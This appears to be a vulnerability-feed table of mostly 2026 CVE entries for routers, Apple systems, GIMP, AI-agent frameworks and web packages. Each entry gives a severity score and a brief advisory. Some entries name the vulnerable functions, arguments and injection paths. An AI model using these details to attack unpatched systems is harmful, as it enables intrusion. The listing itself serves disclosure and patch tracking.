CVE-2026-89180	New	8.7	HIGH		0.003		EFence developed by Thinking Software Technology has a SQL Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary SQL commands to read database contents.
CVE-2026-90689	New	8.7	HIGH		0.006		A security flaw has been discovered in Tenda W20E 15.11.0.61068_1546_841_CN_TDC. Impacted is the function formDelWebAuthWhiteUser. Performing a manipulation of the argument webAuthWhiteUserIndex results in stack-based buffer overflow. The attack can be initiated remotely.
CVE-2026-90934	New	8.7	HIGH		0.002		EspoCRM before 10.0.4 contains a field-level security bypass vulnerability in the meeting and call attendees endpoints that allows authenticated users to read restricted email addresses. Attackers can recover hidden attendee emails by exploiting incorrect ACL scope validation that checks parent event permissions instead of attendee entity permissions.
CVE-2026-90946	New	8.7	HIGH		0.006		DeepWiki-Open through commit d92819a contains an arbitrary file read vulnerability in the unauthenticated /ws/chat WebSocket endpoint that accepts repo_url as a filesystem path with no containment. Attackers can supply arbitrary directory paths to read all files with supported extensions including Python, JavaScript, YAML, and JSON files containing hardcoded secrets and credentials...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91080	New	8.7	HIGH		0.006		webhook through 2.8.3 reads the entire request body into memory before evaluating trigger rules, allowing unauthenticated attackers to exhaust memory by sending oversized bodies. Attackers can send multi-gigabyte request bodies with invalid signatures to trigger out-of-memory conditions and crash the service.
CVE-2026-91200	New	8.7	HIGH		0.004		DevSpace through 6.3.21 fails to reject parent-directory segments in tar entry names from the in-pod sync stream. Attackers operating a malicious container can stream tar entries with traversal sequences to write arbitrary files on the developer workstation, enabling code execution.
CVE-2023-45858	New	8.6	HIGH		0.007		A directory traversal was identified in Paessler PRTG before 23.4.88.1429 that made it possible to read local files.
CVE-2026-15600	New	8.6	HIGH		0.002		Alior Bank PrestaShop module "raty" for commercial partners is vulnerable to SQL Injection in the toggleCategoryPromotionAction method. The module inserts value of the POST parameter "status" into SQL UPDATE queries without any sanitization or validation. An attacker with access to the product or category add/edit functionality in the PrestaShop backoffice can inject arbitra...
CVE-2026-54628	New	8.6	HIGH		0.003		Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server exposes URL-capable SQLite virtual table modules such as json_reader and log_reader through its unauthenticated MySQL-compatible server port without restricting outbound destinations. A remote attacker can provide a loopback, private-network, or link-local cloud metadata URL, causing go-g...
CVE-2026-57122	New	8.6	HIGH		0.001		PraisonAI is a multi-agent teams system. Prior to 4.6.59, the WhatsApp and Linear bot webhook handlers verify HMAC signatures only when WHATSAPP_APP_SECRET or LINEAR_WEBHOOK_SECRET is configured and otherwise parse and dispatch unsigned request bodies. A remote unauthenticated client that reaches the webhook route can forge messages, comments, or agent-session events, impers...
CVE-2026-78375	New	8.6	HIGH		0.002		Joomla Extension - joomshaper.com - Authenticated Privileged SQL Injection in the Content Plugin of SP Page Builder (Free and Pro) 5.2.1 - 6.9.0 - plgContentSppagebuilder::onContentAfterSave() read jform[attrs][sppagebuilder_article_id] from the request and concatenated it directly into the WHERE view_id = ... clause of a query against #__sppagebuilder without quoting or t...
CVE-2026-7848	New	8.6	HIGH		0.003		Alior Bank PrestaShop module "raty" for commercial partners is vulnerable to SQL Injection in the "hookActionObjectProductUpdateBefore", "hookActionObjectCategoryUpdateBefore", and "hookActionObjectCategoryAddAfter" hook methods. The module inserts values of the POST parameters "alior_product_promotion", "alior_category_promotion" and "alior_category_enabled" directly into ...
CVE-2026-82765	New	8.6	HIGH		0.003		Path traversal vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP.
CVE-2026-82768	New	8.6	HIGH		0.004		Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82793	New	8.6	HIGH		0.004		Unrestricted upload of file with dangerous type issue exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If a specially crafted file is uploaded by a remote authenticated attacker, arbitrary code may be executed on the product.
CVE-2026-86830	New	8.6	HIGH		0.004		Incorrect privilege assignment in Temporary Elevated Access Management (TEAM) for AWS IAM Identity Center solution before version 1.5.1 might allow an authenticated remote user with application-level access to read, approve, modify, or revoke arbitrary access requests, thereby obtaining unintended temporary elevated access to the AWS accounts accessed using the TEAM deployme...
CVE-2026-90605	New	8.6	HIGH		0.005		A weakness has been identified in Totolink A3002MU Hh-B20211125.1046. This vulnerability affects the function formFilter of the file /boafm/formFilter of the component boa. Executing a manipulation of the argument ip6addr can lead to buffer overflow. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-90606	New	8.6	HIGH		0.005		A security vulnerability has been detected in Totolink A3002MU Hh-B20211125.1046. This issue affects the function formIpv6Setup of the file /boafm/formIpv6Setup of the component boa. The manipulation of the argument static_ip6 leads to buffer overflow. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-90607	New	8.6	HIGH		0.005		A vulnerability was detected in Totolink A3002MU Hh-B20211125.1046. Impacted is the function formNewSchedule of the file /boafm/formNewSchedule of the component boa. The manipulation of the argument submit-url results in buffer overflow. The attack may be performed from remote. The exploit is now public and may be used.
CVE-2026-90608	New	8.6	HIGH		0.008		A flaw has been found in Totolink A3002MU Hh-B20211125.1046. The affected element is the function formPortFw of the file /boafm/formPortFw of the component boa. This manipulation of the argument service_type causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.
CVE-2026-90699	New	8.6	HIGH		0.016		A weakness has been identified in D-Link DWR-M920 1.1.7. This issue affects the function sub_41E60C of the file /boafm/formPinManageSetup. This manipulation of the argument newPin causes os command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-90932	New	8.6	HIGH		0.005		LaraDashboard versions 0.9.2 through 1.2.2 contain a path traversal vulnerability in the core-upgrade backup handling. CoreUpgradeController and BackupService (e.g. BackupService::deleteBackup()) concatenate the user-supplied backup_file/filename value directly onto the backup directory path without normalisation, without applying basename(), and without verifying that the r...
CVE-2026-12518	New	8.5	HIGH		0.001		A local privilege escalation vulnerability in the Logitech Logi Options+ updater service on Windows allows a low-privileged local user to execute arbitrary code as SYSTEM.
CVE-2026-20773	New	8.5	HIGH		0.002		A role-based access control issue was identified in the administrative expression evaluation functionality. This could allow users with certain administrative roles to access expression testing capabilities beyond their intended permissions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-55072	New	8.5	HIGH		0.004		Pimcore is an Open Source Data & Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, ...
CVE-2026-57126	New	8.5	HIGH		0.004		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, SpiderTools._validate_url calls _host_is_blocked, which checks literal host encodings but does not resolve DNS names before scrape_page, crawl, extract_links, extract_text, or URL-mention fetches connect. An attacker-controlled hostname resolving to a loopback, private, link-local, or cloud-metadata ad...
CVE-2026-81301	New	8.5	HIGH		0.001		Ekia File Manager 1.2.7 exposes com.ekia.filecontrolmanager.OpenFileProvider as an exported Android ContentProvider without requiring caller permissions. The provider maps the caller-controlled URI path directly to a filesystem path and passes it to new File(...). It then supports query(), openFile(), and delete() operations. Because the provider is exported and lacks andro...
CVE-2026-90702	New	8.5	HIGH		0.028		A flaw has been found in D-Link DWR-M921 1.1.52. Impacted is the function system of the file /boafrm/formDiskFormat. This manipulation of the argument partition causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.
CVE-2026-90703	New	8.5	HIGH		0.028		A vulnerability has been found in D-Link DWR-M921 1.1.52. The affected element is the function system of the file /boafrm/formDiskCreateShare. Such manipulation of the argument folderpath leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-54447	New	8.4	HIGH		0.001		garminconnect is a Python 3 API wrapper for Garmin Connect that retrieves statistics and manages activities. Prior to 0.3.5, garminconnect/client.py Client.dump creates the OAuth token directory and garmin_tokens.json without explicit owner-only modes, so a permissive umask such as 022 can leave the directory mode at 0755 and the token file mode at 0644. garmin_tokens.json c...
CVE-2026-68955	New	8.4	HIGH		0.002		The installer for Rakuten Kobo Desktop Application (Windows version) insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privileges of the user who performed the installation.
CVE-2026-82049	New	8.4	HIGH		0.002		In CPython 3.13 and earlier, the tarfile module's data and tar extraction filters are vulnerable to crafted archives containing a hard link to a symbolic link. Such archives may cause extraction to modify the permissions or modification time of a file outside the destination directory, or expose the contents of that file within the extracted tree.
CVE-2026-84546	New	8.4	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.
CVE-2026-84580	New	8.4	HIGH		0.002	apple:macos	The issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84581	New	8.4	HIGH		0.002	apple:macos	A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.
CVE-2026-84584	New	8.4	HIGH		0.001	apple:macos	This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox.
CVE-2026-86836	New	8.4	HIGH		0.001		In Eclipse Ankaio versions 0.1.0 through 1.0.2, the agent creates workload files and Control Interface named pipes (FIFOs) under a predictable path derived from the agent name and a hash of the workload's runtime configuration. If a directory or FIFO already exists at that path when the agent (re)starts, the agent reuses it based only on an existence and/or file-type check,...
CVE-2026-90895	New	8.4	HIGH		0.002		Affected versions of MISP's interactive CLI shell implement access control independently from the normal web application, causing several authorization inconsistencies. The patch shows that CLI access could differ from the web application in multiple security-sensitive areas: - feed listings did not enforce the same lookup_visible restrictions for non-host-organisation u...
CVE-2026-55451	New	8.3	HIGH		0.004		gettext-converter provides gettext resource conversion utilities for JavaScript. Prior to 1.3.3, js2i18next() in lib/js2i18next.js splits nested translation keys using options.keyseparator, whose default value consists of two number signs, and uses each segment as a dynamic object key without rejecting __proto__, constructor, or prototype. When an application converts untrus...
CVE-2026-17467	New	8.2	HIGH		0.003		IBM Cloud Pak for Data System (Yosemite 1.0) 3.0.5.2 could allow a remote attacker to obtain sensitive information due to the use of weak or deprecated cryptographic protocols.
CVE-2026-34151	New	8.2	HIGH		0.005		XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which ...
CVE-2026-57132	New	8.2	HIGH		0.003		PraisonAI is a multi-agent teams system. Prior to 4.6.62, setting PRAISONAI_CALL_AUTH to disabled makes verify_token accept requests to /api/v1/agents/{id}/invoke without CALL_SERVER_TOKEN authentication. Deployments that use the application's advertised opt-out can expose registered agents and their connected tools or private context to unauthenticated invocation. The vulne...
CVE-2026-57577	New	8.2	HIGH		0.004		DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, a route containing multiple unconstrained parameters in one path segment can cause excessive regular-expression backtracking in DotvvmRoute.IsMatch when a remote requester supplies a long near-match path. DotvvmRouteParser.RouteRegex previously had no matching ti...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65838	New	8.2	HIGH		0.003		Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.27.35, the opaAuthorizeRequestWithBody filter in filters/openpolicyagent/openpolicyagent.go can allow an oversized declared Content-Length request to bypass a deny-on-presence Rego policy because ExtractHttpBodyOptionally leaves OPA with an empty parsed_body while forwarding the complete request ...
CVE-2026-82786	New	8.2	HIGH		0.002		Insufficiently protected credentials issue exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. If this vulnerability is exploited, sensitive information may be restored from a backup file.
CVE-2026-84535	New	8.2	HIGH		0.001	apple:macos	An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.
CVE-2026-84577	New	8.2	HIGH		0.002	apple:macos	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Golden Gate 27, macOS Tahoe 26.7. An app may be able to bypass sandbox restrictions.
CVE-2026-85921	New	8.2	HIGH		0.003		Double free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.
CVE-2026-90896	New	8.2	HIGH		0.004		Missing Authentication for Critical Function (CWE-306) in the checkout session lookup handler (src/app/api/stripe/checkout_sessions/route.ts), exposed at GET /api/stripe/checkout_sessions, in MarcosCamara01 Ecommerce Template before commit 91e273c allows a remote, unauthenticated attacker holding a valid Stripe Checkout Session id (cs_...) to retrieve the full session object...
CVE-2026-16335	New	8.1	HIGH		0.004		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to read, write, or delete arbitrary files due to a path traversal vulnerability.
CVE-2026-25687	New	8.1	HIGH		0.002		A race condition in the ZPA tunnel handler of affected versions of Zscaler Client Connector (ZCC) allows a heap corruption, resulting in a denial of service (client crash) and potentially arbitrary code execution in the context of the ZCC process.
CVE-2026-54178	New	8.1	HIGH		0.004		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 6.8.12 and 7.0.35, HasUploadFields::uploadMultipleFilesToDisk in src/app/Models/Traits/HasUploadFields.php trusts disk-relative paths from clear_<attribute>[] and passes them to Storage::disk()->dele...
CVE-2026-54182	New	8.1	HIGH		0.004		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 4.1.70, 5.6.2, 6.8.13, and 7.0.36, Backpack\CRUD\Stats::makeCurlRequest in src/Stats.php is reached from BackpackServiceProvider::boot() and constructs a shell command with a URL influenced by the HT...
CVE-2026-57130	New	8.1	HIGH		0.003		PraisonAI is a multi-agent teams system. Prior to praisonaigents 1.6.59, src/praisonai-agents/praisonaigents/tools/email_tools.py interpolates LLM-controlled from_addr, subject, and query values directly into quoted IMAP SEARCH criteria. Embedded quote, backslash, newline, or null characters can escape the intended criterion and alter IMAP operations when search_emails, re...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59569	New	8.1	HIGH		0.001		An improper input validation vulnerability in Zscaler Client Connector on Android and ChromeOS allows an attacker to potentially bypass Zscaler controls.
CVE-2026-65415	New	8.1	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A local user may be able to cause unexpected system termination or read kernel memory.
CVE-2026-82432	New	8.1	HIGH		0.003		Description Nimbus validated `topology.blobstore.map` against the calling subject at submission time only. The rebalance operation accepts configuration overrides and stripped a small set of keys from them, but never re-ran that validation, so a caller authorised to rebalance a topology could introduce a blobstore map entry naming a blob whose ACL does not grant them access...
CVE-2026-82438	New	8.1	HIGH		0.002		Description Three separate mechanisms allowed a web page on an unrelated origin to read responses that Storm's HTTP components served to an authenticated user. The Logviewer reflected the request's `Origin` header back in `Access-Control-Allow-Origin` while also sending `Access-Control-Allow-Credentials: true`. The published security model documents a permissive `Access-Co...
CVE-2026-84516	New	8.1	HIGH		0.004	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted file may result in unexpected app termination or disclosure of process memory.
CVE-2026-17133	New	7.8	HIGH		0.001		IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.
CVE-2026-17156	New	7.8	HIGH		0.001		IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to insecure deserialization.
CVE-2026-17416	New	7.8	HIGH		0.001		IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to insecure deserialization.
CVE-2026-19624	New	7.8	HIGH		0.001		A flaw was found in NetworkManager-l2tp. The plugin writes attacker-controlled VPN connection properties (vpn.data and vpn.secrets values) unescaped into a generated ipsec.conf file that pluto loads as root. A local unprivileged user can create and activate their own L2TP VPN profile containing a newline-injected leftupdown directive; pluto executes that command as root when...
CVE-2026-23789	New	7.8	HIGH		0.001		An issue was discovered in MFC in Samsung Mobile Processor and Wearable Processor Exynos 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 2600, 1680, W920, W930, and W1000. A double-free vulnerability in the Exynos MFC encoder driver (due to improper cleanup of dma_buf references during error handling) leads to kernel memory corruption and potential arbitrary...
CVE-2026-43684	New	7.8	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos	A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27, macOS Sequoia 15.8. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-43688	New	7.8	HIGH		0.002		A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. Processing a maliciously crafted file may lead to unexpected app termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-43689	New	7.8	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. A malicious app may be able to gain root privileges.
CVE-2026-43691	New	7.8	HIGH		0.002	apple:macos	A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-43702	New	7.8	HIGH		0.002		The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6 and iPadOS 26.6, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7, tvOS 26.6, watchOS 26.6. Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory.
CVE-2026-43783	New	7.8	HIGH		0.002	apple:macos	A race condition was addressed with improved locking. This issue is fixed in macOS Tahoe 26.6. A malicious app may be able to gain root privileges.
CVE-2026-43786	New	7.8	HIGH		0.002	apple:macos	This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-64701	New	7.8	HIGH		0.001	apple:macos	A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.8, macOS Tahoe 26.6. A malicious app may be able to gain root privileges.
CVE-2026-64712	New	7.8	HIGH		0.001	apple:macos	This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-64790	New	7.8	HIGH		0.002	apple:macos	A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain elevated privileges.
CVE-2026-65344	New	7.8	HIGH		0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted video file may lead to unexpected app termination.
CVE-2026-65362	New	7.8	HIGH		0.002	apple:macos	This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-65398	New	7.8	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-82427	New	7.8	HIGH		0.002		Description A topology's `topology.blobstore.map` lets the submitter choose a local name for each blob that the supervisor localises. That name was used to build a path under the topology's working directory without normalisation, in both `AsyncLocalizer` and `Container.createBlobstoreLinks`, and the symlink helper force-deletes whatever already exists at the target before ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82429	New	7.8	HIGH		0.001		Description The setuid-root `worker-launcher` binary adjusts ownership and permissions of worker directories by walking the tree with FTS and calling `lchown` and `chmod` on each entry's full pathname while running with an effective uid of 0. Both syscalls re-resolve the path at the time of the call, after FTS has classified the entry, and the trees being walked are owned a...
CVE-2026-82430	New	7.8	HIGH		0.001		Description When launching a Docker or OCI worker, the setuid-root `worker-launcher` first changes ownership of the entire worker directory to the untrusted topology user, and only afterwards reads and acts on the command file that the supervisor wrote into that same directory. The file is opened without `O_NOFOLLOW` and without re-verifying its owner, so between the owners...
CVE-2026-84497	New	7.8	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos	A buffer overflow was addressed with improved size validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Opening a maliciously crafted file may lead to unexpected process termination.
CVE-2026-84505	New	7.8	HIGH		0.002	apple:macos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-84506	New	7.8	HIGH		0.001	apple:macos	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to execute arbitrary code with kernel privileges.
CVE-2026-84511	New	7.8	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted asset catalog may lead to unexpected process termination.
CVE-2026-84515	New	7.8	HIGH		0.001	apple:macos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to kernel memory corruption.
CVE-2026-84568	New	7.8	HIGH		0.002	apple:macos	A path traversal issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker with control of a network directory server may be able to execute arbitrary code with root privileges.
CVE-2026-84575	New	7.8	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may lead to unexpected app termination.
CVE-2026-84607	New	7.8	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A race condition was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A sandboxed app may be able to execute arbitrary code with kernel privileges.
CVE-2026-84631	New	7.8	HIGH		0.001	apple:macos	This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27. An app may be able to gain root privileges.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85892	New	7.8	HIGH		0.002		Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.
CVE-2026-86917	New	7.8	HIGH		0.001	apple:macos	A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.
CVE-2026-90894	New	7.8	HIGH		0.001		Parallels Desktop runs prl_disp_service as root. Local clients reach it on the world-writable socket /var/run/prl_disp_service.socket. PrlSrv_LoginLocal accepts peer credentials. No Parallels signature. No admin group. After login, PrlSrv_InstallAppliance lets you pick the appliance folder (sVmParentPath). The daemon unpacks with one string, tar -xf "%1" -C "%2", then Qt ...
CVE-2026-90947	New	7.8	HIGH		0.001		A flaw was found in GIMP. When processing a specially crafted lighting preset file, the Lighting Effects filter does not properly validate the number of light sources. This can lead to an out-of-bounds write, corrupting memory. An attacker could exploit this by convincing a user to open a malicious preset file, potentially causing a crash or enabling arbitrary code execution.
CVE-2026-90948	New	7.8	HIGH		0.002		A flaw was found in GIMP's ICO file loader. When processing an ICO file containing an embedded PNG image, an integer overflow can occur during the calculation of the required buffer size. This leads to an undersized buffer being allocated, causing a heap-based buffer overflow when the decoded pixel data is written. A remote attacker could exploit this by crafting a malicious...
CVE-2026-90949	New	7.8	HIGH		0.002		A flaw was found in GIMP's PSP (Paint Shop Pro) file loader. When processing a compressed selection channel, a heap-based buffer overflow can occur due to a mismatch between the allocated buffer size and the amount of data decompressed. A remote attacker could exploit this vulnerability by crafting a malicious PSP file. Opening this file in GIMP could lead to a crash or arbi...
CVE-2026-16432	New	7.7	HIGH		0.003		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage PxXMLInput operator could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection.
CVE-2026-19499	New	7.7	HIGH		0.004		Calling strfmon and strfmon_l in the GNU C Library version 2.38 to 2.44 can write past the end of the caller-supplied output buffer when a conversion uses right-justified width padding. Exploitation requires an application code path that calls strfmon or strfmon_l with right-justified width padding into a destination buffer that is large enough for the padding to succeed bu...
CVE-2026-31278	New	7.7	HIGH		0.002		An issue in the /api/v2/setting/adserversetting endpoint of Suprema BioStar 2 before 2.9.12 and and BioStar X before 1.0.2 allows attackers to obtain Active Directory service account credentials in cleartext by supplying a crafted GET request.
CVE-2026-47701	New	7.7	HIGH		0.003		The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint's bearerTokenFile value as HTTPClientConfig.Authorization.CredentialsFile. A tenant who can create or update a ServiceMonitor match...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54155	New	7.7	HIGH		0.003		node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to 2.166.0, the UserNameIdentityToken authentication handler in packages/node-opcua-server/source/opcua_server.ts decrypts an RSA-OAEP password blob but does not verify that the trailing bytes match the current session serverNonce. An unauthenticated remote attacker can obtain the server public key thro...
CVE-2026-55253	New	7.7	HIGH		0.004		LangChain MongoDB provides integrations between MongoDB, Atlas, LangChain, and LangGraph. Prior to langgraph-checkpoint-mongodb 0.3.0 and langgraph-store-mongodb 0.4.0, MongoDBSaver.list(), MongoDBSaver.alist(), and MongoDBStore.search() incorporate filter dictionaries into MongoDB queries without recursively rejecting keys prefixed with \$. An authenticated caller who contro...
CVE-2026-73496	New	7.7	HIGH		0.003		MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/a...
CVE-2026-54087	New	7.6	HIGH		0.003		EasyAdmin is a fast and modern admin generator for Symfony applications. From 5.0.0 until 5.0.13, FileField and ImageField can accept browser-executable uploads while templates/crud/field/file.html.twig links to stored files for inline same-origin rendering without a download attribute or Content-Disposition attachment header. When uploads are stored under the public web roo...
CVE-2026-54175	New	7.6	HIGH		0.004		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. Prior to 6.8.11 and 7.0.34, MyAccountController::postAccountInfoForm in src/app/Http/Controllers/MyAccountController.php at POST /admin/edit-account-info passes request data from \$request->except(['_token']) ...
CVE-2026-54180	New	7.6	HIGH		0.003		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, the Update, Delete, and Reorder operations resolve records from the unscoped model query instead of the query configured through addClause() or addBaseClause(). An authenti...
